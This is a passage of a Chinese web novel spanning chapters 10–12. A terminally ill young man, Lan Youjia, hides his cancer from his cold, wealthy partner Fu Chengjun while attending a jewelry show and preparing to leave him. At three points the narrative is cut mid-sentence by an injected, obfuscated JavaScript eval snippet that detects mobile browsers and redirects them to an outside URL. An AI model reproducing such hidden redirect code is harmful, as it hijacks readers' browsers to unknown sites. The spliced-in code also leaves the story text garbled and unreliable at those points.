钢笔被骤然松开,声响清脆地跌在桌面上,男人拧了拧眉,冷声道:“宋见——” 话音未落,宋见风已经预判般提前堵住:“你看!我就说你不爱听,是你非要让我直说。” 傅呈钧从不会主动跟人提起自己的感情状况,也很反感被迫谈起这些事。 所以宋见风并没有再多说,只斟酌着提了自己觉得最重要的部分:“我看他脸色不太好,身体也有不舒服的地方,可能是生病了,你多少抽点时间关心一下。” 因为在他看来,傅呈钧应该是喜欢兰又嘉的,即使称不上爱,也该有喜欢——据他的观察,这位好友一直以来都偏爱热烈明媚的性格,而兰又嘉显然是这个类型中的翘楚。 以前他妹妹宋见霜不知哪根神经搭错,一度对这个冷心冷情的工作狂死缠烂打过,似乎就是因为性格还算对傅呈钧胃口,所以下场不是太难看,被拒绝得尚算体面。 “而且我没想到,你会把那颗钻石送给他,我看见他当吊坠挂着,肯定是不知道来历。”宋见风的话音顿了顿,点到即止,“但你比任何人都更清楚它的意义。” “这几年他一直追着你也不容易……说真的,别让自己后悔。” 说完了,宋见风转身就走,跟逃难似的:“行了,我先撤,明儿见。” 几秒后,远远传来他真情流露的最后一句补充。 “——不来家里陪老太太演戏没关系,但我是真心想近距离观赏一下那颗传奇蓝钻,你们俩赶紧和好,我去求他总比求你好使!” 余音在偌大的办公室里荡了好几圈才散。 五分钟过去,秘书准时来敲门:“傅总,合作方那边已经到了,您要现在去会议室吗?” 推开房门时,她看见傅总难得没有坐在办公桌前,而是站在剔透明净的落地窗旁。 男人身材颀长,侧影被阳光勾勒得宛如贵族时代的油画,神情随之变得朦胧,叫人看不清那双灰绿眼眸中涌动的情绪。 很快,他收回了凝视玻璃窗的目光,一贯冷冽的面孔上没有什么表情,沉声问:“资料准备好了?” “是的傅总,已经按照最新的方案修改了,我检查过没有问题。” 男人轻轻颔首,秘书当即会意,带上资料引着他往预定好的那间会议室走。 大楼里随之响起清脆利落的脚步声,如同已过去的任何一日。 只是在走进会议室前那一刻,秘书却注意到顶头上司的脚步有刹那的停顿。 这是对他而言堪称罕见的凝滞。 像是在为了什么事而犹豫。 下一秒,秘书耳畔响起一道带着些许烦躁的叮嘱。 “结束后让新来的那个助理到我办公室。” “好的傅总。”她立刻应声,半是确认半是提醒地问,“您是指上个月入职的梁思梁助理吗?” 梁思在被突然通知去傅总办公室后,一直坐立不安。 从多嘴惹恼了傅呈钧的那天开始,他就没能再接触过公司业务。 傅总似乎完全忘了自己还有这么一个助理,其他人当然更不敢安排事情让他做。 同事们已经在私下议论他还能在这栋大楼里待几天——全看忙碌不已的傅总哪天才会忽然想起来这个人,再吩咐人事部门把这家伙开掉。 连梁思自己都在打算,要提前请相熟的同事吃离职饭了。 他压根没想到傅总会再叫自己过去。 开掉一个新来没多久的助理,似乎不需要顶头上司浪费时间特地来谈话…… 总不可能是要再用他吧? 这段惴惴不安的日子里,梁思听资历更老的同事说起过,傅呈钧不是愿意给下属第二次机会,温和宽容人人称颂的那类老板。 恰恰相反,他唯一的慷慨之处是能给员工提供远超同行业标准的顶级薪资待遇,前提是,员工必须有能力跟得上他的步伐。 一旦有人掉队,这架效率至上、冷酷薄情的工作机器,转头就会忘掉那些失去了价值的名字。 他眼中只有未来,从不回首。 所以,站在气氛冷凝的办公室里,听见男人的那个问题时,梁思足足愣了好几秒,仍觉得茫然。 直到傅呈钧又重复了一遍:“那天他在医院抽血了?” 梁思终于反应过来,尽可能冷静道:“呃,是、是的傅总,兰先生过生日那晚在医院抽了血,做了血常规和一些筛查重大疾病的加项。” “报告呢?” “报告……报告在兰先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790932|158097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生那里。” 在惊诧过后,梁思逐渐找回了理智,话音变得镇定:“我陪兰先生拿到后才离开的,走之前我看过检查报告,除了显示有轻微的低血糖,其他项目的结果都是正常的。您需要我再去医院调一份报告来吗?” 语毕,他隐约觉得,傅总原本相当不愉的面色有所好转。 梁思的回答,和那晚青年在他怀里说的话一模一样。 于是傅呈钧想,兰又嘉没有说谎。 他从来不对自己撒谎。 所以,宋见风刚才提到的脸色不好和身体不适,应该就是淋雨后发烧的症状还没有完全好转。 ——他明明让兰又嘉吃了药以后在家休息的。 却任性地跑出去参加什么同学聚会。 好在还算聪明,没任人欺负。 傅呈钧按了按眉心,从昨天早晨开始就萦绕于心的那股烦躁,终于悄然淡去。 他能有条不紊地处理动辄牵连数亿的商业条款,却一直没弄懂这份莫名其妙的负面情绪从何而来。 或许是晨间窥见的那片横亘在白皙手臂上触目惊心的青紫,总在脑海里挥之不去。 而这种异样的心情在宋见风的突然到访后达到了顶峰。 他其实非常讨厌昨天早晨兰又嘉那副苍白忧悒的模样,以至于不想跟那种状态下的青年再相处,因此又是一夜未归。 他更喜欢平日里的兰又嘉。 灿烂的、明亮的。 不过,毕竟这次是着凉发烧了。 生病闹点脾气也正常。 傅呈钧这样想着,抬眸看向面前那个一度忘了名字的助理,淡声问:“那晚他主动跟你聊天了吗?” 梁思还在专心等待上司对前一个问题的安排,听到这话一愣,一时间完全吃不准傅总这话是什么意思,思绪急转,只敢挑着回答。 “算是有吧,兰先生怕耽误我陪另一半过节,劝我先回去……当然,我并不觉得耽误,这是我分内的工作。” 闻言,原本面无表情听着的男人轻笑了一声。 不知是在笑他急匆匆的解释,还是在笑那个甘愿独自待在医院的情人。 紧接着,梁思听到傅总说:“看来他不讨厌你。” 所以,他又重新有了价值。 说完,傅呈钧像是处理完了这桩突发的意外事件,重新看向堆叠在面前的待批文件,话音平淡道:“让他记得出席明晚的高珠大秀,这两天把身体养好,他昨天淋雨感冒了。” 在那之前的上一个雨夜,兰又嘉窝在他怀里撒娇的时候,说过想陪他出席那些无聊的活动。 当时他也答应了。 梁思知道,这句话里隐含的意思是万一兰先生没有到场,或是感冒仍未痊愈,那就是他的失职。 这是他的第二次机会。 显然也是最后一次。 “好的傅总,我会通知兰先生的。”梁思说完,犹豫了一下,还是再一次问道,“您需要我去医院再调一份兰先生的血液检查报告吗?或是陪兰先生去做个更详细的全面检查?” 他不知道傅总为什么会突然关心起这件事,但梁思觉得,或许的确有这么做的必要。 因为比起他上个月刚入职的那时候,兰先生似乎瘦了不少。 对身体的健康状况来说,这不是一个很好的征兆。 话音落地,办公室里就变得很安静,只剩纸页翻动的声音,和梁思小心翼翼压低的呼吸声。 片刻后,已经在埋首处理工作的男人腕骨微动,于文件末页留下一个笔锋锐利的签名,才漫不经心道:“不用了。” 也留下了最后一句冷冽的提醒。 “梁思,别再做多余的事。” 10.10 “……我明白,傅总。” 短暂高效的谈话到此结束,梁思怀着难以言喻的复杂心情离开了总裁办公室。 他没想到,傅总竟然真的再给了他一次机会。 所以在拨出那个电话之前,梁思足足打了半小时腹稿,才勉强想好一会儿要说的话。 他应该先关心兰先生的身体,关心那场在傅总眼中必须于明天之前痊愈的感冒,同时悄悄观察和试探对方的心情,再决定该用什么样的方式提起明晚的大秀,确保兰先生一定愿意出席…… “请问是兰先生吗?” 电话被接通后,他先客气恭敬地自报家门,仿佛生日那晚不曾见过彼此:“您好,我是梁思,傅总的助理。” 电话那头的青年似乎笑了一声:“梁助?你好。” 然后,梁思还来不及用上那些精心构思过的话术,就被对方的下一句话变成了毫无意义的废稿。 兰先生的声音一如既往的清澈。 “呈钧让你找我吗?”他问得平静而笃定,“是什么事?有活动需要我一起出席吗?” 梁思一时愕然,主导权不知不觉被夺走,他本能地回答道:“是、是的兰先生,明晚有一场JA旗下品牌的高级珠宝大秀,傍晚五点开始陆续入场,傅总预计会在七点左右落地京珠,然后出发过来——” “知道了。”兰又嘉打断了他的话,干脆道,“我会准时到的。” 他的话音里泛着些许期待,似乎在自言自语:“那天晚上会很热闹吧。” 本以为艰巨的任务就这么轻而易举地完成了。 兰先生的语调柔和烂漫,时间仿佛回到了生日之前,那晚的失落和后来的一切都不曾发生。 梁思直觉有哪里不对。 可是…… 他停顿了两秒,轻声问:“您的身体还好吗?傅总说您感冒了,现在有没有什么不适?需不需要我……” “不用。烧已经退了,不会影响明晚的。” “他晚点又要飞外地?真辛苦。”兰先生好像又笑了,“明天我就不去机场等他了,你让司机来家里接我,直接去会场吧。” “麻烦你了,梁助。” 电话被挂断之前,梁思听见那头传来一道有些模糊的声音:“小伙子,常用的几种药都在这里了,你看要哪个?有没有去医院查过是为什么吃不下饭啊?” 有点听不清,他想。 于是他也一板一眼地回应:“好的兰先生,不用客气,明天我来接您,那我先不打扰您了,再见。” “嗯,再见。” 听筒里骤然只剩冰冷规律的机械音。 梁思攥着手机发了一会儿呆,一回到工位,坐在旁边的同事就好奇地凑上来问:“傅总找你什么事啊?难道是要给你调岗?” 他回过神来,诚实道:“不是,还是继续给傅总做助理,负责处理跟兰先生有关的事务。” “真的假的?你不用走了?” “对,不用了……暂时不用。” 不能再做多余的事。 他已经明白了。 同一时间,兰又嘉放下了手机,目光扫过店员拿来的几种药,应声道:“每样各要一盒吧,看看哪个效果最好。” “都要?那你记得看清楚说明书,别乱吃啊。” 店员嘴里嘀咕着,但也没有再问些什么,动作利落地给药品扫码结账,盛好了递给他。 兰又嘉提着一袋子促进食欲助消化的肠胃药,走出了药店。 他好像越来越吃不下东西。 昨天中午吃的面条没能在胃里待多久,就吐得一干二净,后来在会所包间里一边听同学们唱歌一边默默吃掉的点心小吃,也未能幸免。 所以兰又嘉最终没有参加昨晚的毕业聚餐,而是提前离开,独自逃回了家,蜷缩在大得有些可怜的床上,茫然无措地抱着自己似乎已经在排斥食物的腹部。 他对动物蛋白过敏,有太多不能吃的东西,因此一直以来对食物的欲望就不高,这段日子更是近乎厌食,只不过之前以为是毕业太忙,忙得没了胃口,便没放在心上。 现在兰又嘉知道原因了,是身体里的癌细胞在作祟,才令他日渐消瘦。 他真的瘦了很多,本来合身的衣服宽大了一圈,要是再这样下去,等不到癌症扩散至全身,营养不良会先要了他的命。 就算命运已经注定要结束于绝症,兰又嘉仍希望自己人生剩余的时日,尽可能过得体面。 至少,模样不要那么难看。 所以他去药店买了药,希望药物能帮自己恢复一点对食物的欲望。 在试到第二种药的时候,兰又嘉终于成功吃下了今天的晚餐,而且在餐后长达一个小时的时间里,都没有产生反胃想吐的感觉。 于是,他的心情终于变得明媚起来,再想起明晚要出席的珠宝大秀,更觉得期待。 气质出众的模特、光彩夺目的明星、受邀而来的媒体……秀场里会到处都是人,四周也会格外热闹。 兰又嘉现在很喜欢热闹。 这是他昨天刚冒出来的新爱好——因为他发现,坐在有歌声与笑声不断回响的包间里,那阵最近常常在独处时侵袭身体的疼痛,竟然渐渐淡去了。 疼痛总在安静的时候喧嚣,它害怕热闹。 这样很好,可以少吃一点止痛药,免得等到未来疼痛不断加强的时候,药物已经因为滥用而失效。 夜晚,冷清寂寥的大房子里回荡着热烈浓郁的音乐声。 兰又嘉在衣帽间里挑选明晚要穿的衣服,白皙单薄的指尖拂过一排排定期更新的奢侈华服。 他在想什么颜色能显得人没那么消瘦,在想这枚胸针该用哪件衣服来搭,在想这首歌实在是有点吵…… 听筒里传来声音:“喂,哪位?” 他在想,自己为什么会鬼使神差地拨出这个号码? “您好,我是兰又嘉。”他关掉了吵闹烦人的音乐,紧握着手机开口,“那天您在京珠音乐学院里给了我一张名片,还记得吗?” “兰又嘉?记得记得,当然记得!” 电话那头的中年人语气陡然激动起来:“没想到还能接到你的电话,你改变主意了?对我们这部戏有兴趣了是不是?” “嗯,我改变主意了。”兰又嘉问,“你们找到合适的演员了吗?” “没呢!梅导说目前还是你的形象最贴角色!你有兴趣就太好了,我马上跟导演说一声,你最快什么时候有空?过来正式试个镜——” “不好意思。”兰又嘉轻声打断了兴奋溢于言表的选角导演,“在那之前,我有件事想先跟您确认。” “什么事?你说!别那么客气,喊我李哥就行。” 兰又嘉就问:“李哥,我想知道,这部戏能在三个月内拍完吗?” “能啊!”闻言,这位姓李的中年人更加兴奋了,“用不着三个月,我们预估是拍五十天,目前计划是八月下旬正式开机,这样,你先过来一趟,我当面跟你说!” 紧接着响起的声音却带着几分歉意:“不,我是指,从现在开始算起的三个月内。” “什么?这……” 在选角导演讶然的沉默里,兰又嘉的语气分外平静:“很抱歉,但我只有这么多时间,我希望能拍得越快越好,最多三个月。如果可以的话,这期间我会全力配合。” 尽管医生说还剩半年,可最后那段时光一定是虚弱和惨烈的,他要预先去掉这段丑陋得不该被人看见的时间。 三个月,或许已经是他仅剩的全部体面。 听筒传出淡淡的电波噪音,在陡然沉默下来的空气里,发生在生日前夜的那段对话,异常清晰地浮现在兰又嘉的脑海中。 选角导演竭力劝他:“……这真的是个非常好的机会,我说得直白点吧,难道你就一点也不想成名吗?不想被很多人看见和喜爱吗?” 可那时的他笃定地回答:“我已经有足够的爱了。” 原来那也是自欺欺人的假话。 所以在孤魂般游荡在空洞屋子里的这一刻,他鬼使神差地翻出了那张名片,拨通电话。 他不是想成名,只是想要被很多人看见和喜爱。 ——如果,这种爱永远不可能从某个人身上得到的话。 “很多人”其实是个更明智的选择。 因为哪怕每个人都只给一点点爱,将它们加在一起,也已足够。 “我知道这个要求可能很过分,不能接受也很正常,对不起,耽误您的时间了。” “不不,我没有说不能……我先跟导演说一下这个情况,再答复你好不好?” “好,麻烦您了,谢谢。” 兰又嘉想,算了,拒绝才是合乎逻辑的,他本就没有抱多大希望。 他只是…… 只是想试一试。 就像这一年里他追在傅呈钧身后做的每件事一样。 不会有结局的悲哀徒劳。 挂掉电话,屋子里重归寂静。 兰又嘉茫然无措地环视着四周明亮灼目的灯光,一件件昂贵精致的衣服排列在一起,被整理得妥帖光鲜,却没有一丝温度。 反胃感骤然上涌。 他跌跌撞撞地冲向卫生间。 没关系,他买了很多药。 还可以再试第三种,第四种…… 药物总该比爱可靠。 次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795497|158097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日晚上,JA高珠大秀会场。 这场一年一度的珠宝盛典在城市远郊的一座古堡里举办,古堡坐落于风景秀丽的群山环抱中,此刻夜色四合,山林郁郁葱葱,公路上灯火点点,与星光熠熠的古堡交相辉映。 走秀尚未开始,秀场内早已人声鼎沸,盛装出席的明星们争奇斗艳,媒体手中的摄影机快门几乎得不到一丝喘息,按个不停。 但满场追逐闪动 不愿错过任何一个细节的镜头们,却都默契地绕过了一个地方。 袁静再一次朝那个方向望去的时候,她身旁刚凭一部电视剧走红的年轻女明星终于忍不住开口,凑过来同她耳语:“静姐,那个人到底是谁啊?” “不知道,反正不是咱们这个圈子的。” 袁静是资深经纪人了,对圈内每一张值得记住的面孔都如数家珍。 她想了想,压低声音补充道:“去年我带你泓哥来的时候,也没见过他。我记得那边是JA高层的座位区,可能是法国母公司那边过来的人。” JA集团是全球规模最大的综合性奢侈品集团,全称Jean d’Anjou,中译名让·德安茹,一百多年前发端于法国,如今版图已遍布全球,集团旗下的数个子品牌囊括了珠宝、时装、皮革制品、化妆品等诸多领域。 “从总部过来的?但他看起来不像外国人呀。”女明星频频侧目,“而且这么年轻,感觉还是个大学生呢,长得好漂亮啊。” “行了别看了,注意仪态,镜头随时会扫到你。”袁静没好气地拧了她一把,“全场媒体都被打了招呼不能拍那边,你胆子倒是大,眼珠子都快黏上去了。” “嘶——知道了静姐!” 女明星猛地吃痛,立刻收回视线,摆出从容优雅的姿态,只是才忍了几分钟,又开始目不斜视地感叹:“这个场地真的好美,听说是仿照德安茹家族在法国的古城堡建的,还没有原版十分之一的奢华,哇,他们祖上是不是真是贵族啊?” 她说着说着,面露憧憬,小声提起那个正令全场绝大多数来宾都翘首以盼的人:“静姐,那位亚太区总裁今年到底会不会来啊?我之前只在新闻上见过照片,本人真的长那样吗?这命也太好了……” 第一次受邀出席这种场合的新晋当红女明星语带傻气,旁边一贯严厉的经纪人却难得没有批评她,柔声道:“我收到的消息是会来。” 袁静朝人头攒动的入口处瞥了一眼,脸上同样透出几分期待:“你比泓哥运气好,去年大家都盼了个空。前段时间JA在非洲那边的矿刚挖出世界最大的钻石原石,很轰动,所以大家估计他这次一定是会露面的,你没看那几个大花今晚都铆足了劲吗?JA珠宝目前那份全球代言人合约明年就要到期了。” 闻言,她带来的女明星也不由自主地挺直了腰背,连美貌都提亮了几分。 财富、权力、容貌……无论是拥有哪一项,都足以令这世上的男男女女们疯狂。 何况是当这些光彩同时汇聚在一个人身上。 晚上七点五十九分,这场高级珠宝秀正式开场的前一分钟,已经渐渐安静的秀场外侧,蓦地响起一连串清晰鲜明的脚步声,由远及近。 来宾们不约而同地望过去,一道道视线好奇地越过西装革履的保镖,紧接着便静下来。 被簇拥着入场的男人刚下飞机,一身优雅简约的纯黑大衣,没有任何多余的装饰,仅有被风掠起的褶皱显露出几分倦意,混血特征明显的俊美面孔冲击力十足,深邃冷冽的灰绿色眼眸淡淡扫过整个会场,一时间竟鸦雀无声。 直到他的视线准确落在那片始终没人敢靠近的坐席,这份浓烈的压迫感才无声散去。 独自坐在那里的青年原本聚精会神地望着舞台的方向,可一分钟过去,大秀仍未开始,他才后知后觉地意识到什么,循着周围人们的视线,向后方望去,恰好撞进那双熟悉的眼睛。 下一秒,青年抬起手,本能地朝对方挥了挥,像是很平常地打了一个招呼。 他穿一件黛蓝色的真丝衬衣,衣领没有扣到最上方,露出一点在锁骨处若隐若现的灿银项链,因着扬手的动作,袖口滑出一截莹白纤瘦的手腕,整个人就像一颗被丝绒礼盒轻柔包裹的璀璨钻石,在人群中耀眼夺目。 兰又嘉看起来很好,灿烂明艳,没有病气,是他平日里最喜欢的那番模样。 傅呈钧想,那个发着高烧不欢而散的早晨已经过去了,正如那个被送进医院的生日夜晚也无人再提起。 他的嘉嘉总是很听话。 知道什么时候该忘记和放下。 于是万众瞩目的男人轻笑一声,越过那片从未映入他眼帘的模糊人海,径直走向自己的蓝色钻石。 11.11 片刻后,大秀正式开始。 坐席区的灯光转暗,优雅浪漫的音乐声中,风姿各异的超模们接连出场,每个模特身上令人眼花缭乱的时装与珠宝全都来自JA集团旗下。 所有光芒都汇聚于前方的舞台,和拥挤坐席里最特别的那块空旷地带。 虽然全场镜头都不被允许对准那片区域,可人们的视线无法禁止。 几乎每个来宾的眼神都有意无意地扫过那里,接着面色寻常地同身边人交颈低语,不知是在谈论今夜星光熠熠的秀场,抑或是别的。 “静姐,那是不是他的情、情……” 女明星的目光飞快地掠过那个气质矜贵斐然的男人,不敢多停留,同经纪人窃窃私语时,话音在嘴边打了个转儿,终究没有说出来。 袁静知道身边人想说什么。 她知道每个人见到这一幕时,会产生的第一反应是什么,其中也包括她自己。 但随着时间流逝,他们又不约而同地改变了想法。 因为那个眉眼昳丽生辉,仿佛在无尽宠爱中长大的年轻男孩,除了开始时那一眼,就再也没有看过身边明明是全场焦点的男人。 他专心致志地望着舞台的方向,柔和澄澈的眼眸中透出纯然的欣赏。 连身边人主动同他说话时,都舍不得分心移开目光。 所以袁静默默压下了那些在心头冒出来的菲薄形容,替旁边的艺人理了理裙摆,提醒她专心看秀。 尽管她自己的视线,却总是不知不觉地落到那个青年的身上。 有些人似乎天生就该被聚光灯追逐,即使不知道姓名和来历,只是安安静静地坐在那里,已耀眼至极。 然而,若是真的加上那些她尚不清楚的背景,同样注定了有些人天生便不会站在镜头前……不可能,或是不需要。 袁静不无遗憾地这样想。 前一段音乐渐渐淡出,在全新的曲调和欢呼声中,设计师与模特一道现身,她立刻面露微笑,像其他来宾们一样鼓起了掌。 兰又嘉也意犹未尽地送上掌声。 耳畔传来熟悉的低沉声线。 “这么喜欢?” “嗯,我很喜欢。” 因为足够热闹。 他点了点头,总算再度侧眸看向身边的男人,迫不及待地问:“等下是不是还有酒会?” 傅呈钧没料到他的问题,不禁有几分哑然:“饿了?没吃晚饭么?” “来之前吃过了。”兰又嘉诚实地说,“不过现在又有点馋。” 男人的视线掠过他衬衣领口处形状异常明显的锁骨,尾音微微上扬:“知道要好好吃饭了?” 兰又嘉听出他语气里的满意,便没有再解释什么,而是弯起了眸子笑:“我会努力吃胖一点的。” 其实光是知道要好好吃饭,是没有用的。 无论他有多么希望自己的食欲恢复如初,也拗不过正无可挽回地衰退着的身体机能。 今天难得有胃口,是因为第三种药很适合他。 药物的确比妄想可靠。 在那个眸光明亮潋滟的笑容里,傅呈钧偏了偏眸,看向从兰又嘉到场后就一直守在旁边的助理。 对方立刻会意,快步走到他身边,弯腰等待老板的吩咐。 兰又嘉隐约听见傅呈钧是让助理去提醒厨房备餐。 还额外叮嘱了一句:注意忌口。 听到那句话的时候,兰又嘉忽然有一点想笑。 他不知道是想笑什么。 或许是笑几天前那个满心妄想的自己。 当傅呈钧收回视线,重新看向身边人时,恰好对上那双笑意翩跹亮得惊人的眼睛,同时听见他问:“刚从光海回来吗?” 男人微一颔首,随口应道:“富安那边有点事要处理。” 傅呈钧的父亲是本国人,是光海市实业巨头富安科技曾经的继承人,他跟随父亲长大,童年就在那座潮湿繁华的港口城市度过。 他的母亲则来自于Jean d’Anjou这个品牌背后的德安茹家族,是一位法葡混血的绿眸美人。 而这位背景复杂的三国混血儿,最初出现在商界时,只是JA集团里的一名普通经理,却凭着超前的眼光和过人的手腕,一步步成为了整个集团亚太区的总负责人,也令这个在亚洲市场的发展一度陷入停滞的奢侈品牌,重新焕发光彩,影响力更胜以往。 所以,今晚来到秀场的嘉宾们才会时不时望向这里。 无论是身世、能力,或是外貌,他都是往日只能在新闻报刊上遥远瞥见的神秘传奇。 兰又嘉想了想,小声问:“还是因为钻石……不,金刚石吗?” 闻言,原本没什么表情的男人似乎被取悦,磁性嗓音里漫开一丝揶揄:“它们是同一种东西。” 周围模特与明星身上的高奢珠宝仍流光闪耀,兰又嘉哦了一声,努力搜寻着记忆里听过的只言片语,尝试更准确地形容:“我想起来了,是因为高……高精尖的人造金刚石?” 格外认真的语气传入傅呈钧耳中,令一贯冷冽的男人笑了起来,薄唇轻扬:“记性不错。” “是因为它。” 傅呈钧说着,视线并未在周遭琳琅满目的华美珠宝上停留分毫,心里或许仍想着另一桩生意,淡声道:“很快就会解决的。” 即使正是他让JA旗下的珠宝支线在国内大受追捧,掀起一阵狂热风潮,可这位能力卓绝的商业新贵显然对眼前这场一年一度的盛大庆典没有什么兴趣。 他更关心未来的出路在哪里。 在这个愈发混乱颓靡的时代,普通人对资本家大肆宣扬的精美广告日渐怀疑,几乎所有奢侈品牌的业绩都受到了冲击,其中尤以昂贵的天然钻石首饰的遇冷最有代表性。 廉价美丽的培育钻石逐渐兴起,沮丧忧郁的人们也越来越不相信爱情。 钻石已经不再代表永恒,永恒甚至可以人造。 那究竟还有什么值得珍重? 兰又嘉不确定答案,但他很清楚,身边的男人其实一直都不喜欢钻石与珠宝。 而他自己,其实也并不关心这些商业上的事。 他只是嗅到对方的大衣上散发着隐约的海风味道,猜到了这次出差的行程,就顺口问了。 兰又嘉知道傅呈钧喜欢自己絮絮叨叨的关心。 往日他总是这样缠着对方,直到男人面露轻笑,或是将要显露厌烦,才会戛然而止。 所以今天也不该例外。 他不想再惹傅呈钧生气。 很快,这个对方明显不打算再多说的话题就此结束,兰又嘉没有追问,他开始专心挑选自己想吃的东西。 走秀结束后的冷餐酒会灯火璀璨,衣香鬓影,到处弥漫着奢靡的气息。 兰又嘉跟在傅呈钧身侧,安静地听着那些蜂拥而来的问候和寒暄。 大多是国内的一些合作伙伴,和由JA内部高层引荐的艺人明星。 也有海外母公司那边过来的外国人。 "Clément!" 有个褐发碧眼的法国人举着酒杯大步走过来,热情洋溢地拍拍傅呈钧的肩膀,随后语速很快地同他说起了什么。 兰又嘉能听懂最开始这个单词。 这是傅呈钧的法文名。 他有另一个名字,克莱蒙·德安茹。 再后面的法语对话,兰又嘉就听不懂了。 但他猜对方应该是德安茹家族内的成员,可能是傅呈钧的某位远亲长辈,因为男人的面色尚算温和。 直到两人的对话告一段落,那个陌生的法国男人注意到了旁边的他,目露惊艳,朝傅呈钧坏笑了一下,带着几分轻浮的欣赏:"Est-il votre biche? C''est beau!" 话音落地,傅呈钧的面色微冷,不假思索道:"Non, c''est mon soleil." 对方愣了一下,重新看了兰又嘉一眼,连连点头,有些抱歉地笑了:"Oui, oui, bien s?r." 兰又嘉不清楚他们在说什么,只是从神态猜测可能跟自己有关。 不知傅呈钧说了句什么,陌生人原本让他有些不舒服的打量目光,刹那间收敛了,变得惊讶而慎重。 大概是让他别再乱看。 傅呈钧一贯是个作风霸道的人。 兰又嘉便没有放在心上。 他将餐盘交给侍应生,正打算再去拿杯饮料,就听到耳畔响起了另一道玩世不恭的声音。 “我总算是逃出来了——老傅!” 今晚宋见风也来了,刚从一堆杂志主编的包围里脱身,朝他们扬了扬手。 “今天这身不错啊,兰又嘉。”宋见风再次连名带姓地喊他,语带调侃,“我可是听到好多人在议论你,可惜谁也不敢拍照。” 看到宋见风的那一刻,兰又嘉下意识别开目光,本能地往傅呈钧身后躲了一下。 此时被叫到名字,他顿了顿,才应声道:“宋先生好。” 宋见风没怎么察觉到他的细微动作,打完招呼之后,就滔滔不绝地跟好友聊起了天:“我跟他们说没档期,下半年都交代给你们JA了,对了,刚才压轴那件新品有点意思,什么时候让我……” 傅呈钧倒留意到了他的闪躲,觉得有些好笑:“烦他?” 兰又嘉立刻摇摇头,小声道:“没有。” 宋见风就一脸好奇地横插进来:“说什么悄悄话呢?烦谁?” 没想到傅呈钧竟抬手挡在青年身前,示意让他离远点,语气里透出几分嫌弃:“你。” “……”宋见风觉得不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他忍不住想,过些日子自己离开傅呈钧的时候,有没有资格带走这份奢侈的礼物? 兰又嘉不准备把人生最后的时光都耗在一个不爱自己的人身边,那真的太冷了。 他明白自己迟早要跟傅呈钧说再见的。 而在他对这场离别的设想中,最割舍不下的,就是这枚陪自己度过阴冷雨天的蓝钻戒指。 短暂静默后,他离开男人的肩膀,仰起脸小心地问:“这枚戒指真的送给我了吗?” 傅呈钧眉眼低垂,似乎正专心欣赏那枚蓝得惊心动魄的美丽钻石:“嗯。” “它是不是很贵?要是我把它弄坏了怎么办?” “坏就坏了。” “那……你不会后悔送给我吧?” 闻言,男人终于掀眸看他,深邃眼眸里有什么情绪一闪而过。 “不会。”他说。 “如果我们分手了呢?你会要回来吗?或者……或者我过半年再还给你,好不好?” 兰又嘉想,他最多只需要霸占它半年,所以不假思索地将未来当作假设问出了口。 傅呈钧却怔住:“分手?” 兰又嘉点点头:“对,分手。” 只有彼此的车后座上,清晰地回荡着这个格外突兀的名词。 傅呈钧本以为今晚言笑晏晏的兰又嘉已经恢复了正常,过去的已过去,未来他们仍将这样相处下去——之前的日子一直是这么过来的。 可在一刻,他却问出一个如此不合时宜的问题。 分手。 这个从未想象过的字眼如电流通过傅呈钧的心头,激起一阵陌生的、颤栗的感受。 车窗外黑沉沉的,夜色铺天盖地,犹如蛰伏着无数阴森潮湿的幽魂,随时会撕裂黑暗,倏忽涌现。 傅呈钧骤然松开了手。 蓝色钻石划出一道抛物线,在异常寂静的空气里摇曳坠落。 他面无表情地问:“你觉得我们在谈恋爱?” 兰又嘉下意识握住那枚重新回到自己颈间的戒指,一点点睁大了眼睛。 他满脸茫然地反应了好一会儿,才听懂这个其实十分简单的句子。 原来不必说分手。 紧接着,他笑起来,漆黑圆润的瞳仁像濯过水一般,湿漉漉的。 他笑了,也有些难过。 只是一点难过。 “对不起。”兰又嘉很快低下头,温顺地认错,“是我说错了,我以后不会再说了。” 他不会再郑重其事地提分手。 他会安静离开的。 12.12 “到你了,嘉嘉。” 耳畔涌来朦胧的声音,一声比一声清晰:“嘉嘉?兰又嘉!” “嗯?”神思游离的青年总算被叫回了魂,攥着台本慌忙起身,“抱歉,我又走神了……对不起。” 他的脸色看起来实在很差,嘴唇没有一点血色,漂亮的杏眼里雾气弥漫,又连声道着歉,因此哪怕是平日里对他有些微词的同学,此刻都不忍心再多指责他。 ——毕竟,整个学校里最乐意看兰又嘉笑话的姜黎,这会儿还没有来排练室。 很快有人说:“没事啊,反正也差不多了,要不都休息会儿?刚好我去楼下拿个外卖。” 这是其他专业不太熟悉的同学,好心地帮忙打了个圆场。 还有人问:“嘉嘉,你身体不舒服吗?是不是真的生病了?那天你不是说——” 这是和兰又嘉一样在钢琴专业的同班同学,关心的话语里透出小心翼翼的打探。 “那天都说了是耍姜黎的。”柯云川接过了这人的话,不想别人再八卦那天的事,“我看他是困的,昨晚没睡好吧?” 